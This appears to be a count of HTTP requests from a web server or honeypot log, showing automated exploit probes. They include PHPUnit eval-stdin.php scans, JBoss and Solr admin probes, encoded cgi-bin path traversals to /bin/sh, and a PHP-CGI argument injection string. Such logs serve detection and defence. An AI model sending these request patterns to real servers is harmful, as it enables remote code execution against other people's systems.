1	GET	/sitemap.xml	HTTP/1.1
1	GET	/solr/admin/cores?action=STATUS&wt=json	HTTP/1.1
1	GET	/solr/admin/info/system	HTTP/1.1
1	GET	/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/v2/_catalog	HTTP/1.1
1	GET	/vendor/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/LICENSE/eval-stdin.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vendor/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/webui/	HTTP/1.1
1	GET	/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	HEAD	/invoker/EJBInvokerServlet	HTTP/1.1
1	HEAD	/invoker/JMXInvokerServlet	HTTP/1.1
1	HEAD	/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss[.]system:type=ServerInfo	HTTP/1.1
1	HEAD	/web-console/ServerInfo.jsp	HTTP/1.1
1	POST	/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh	HTTP/1.1
2	POST	/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh	HTTP/1.1
1	POST	/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input	HTTP/1.1
1	POST	/sdk	HTTP/1.1
1	PRI	*	HTTP/2.0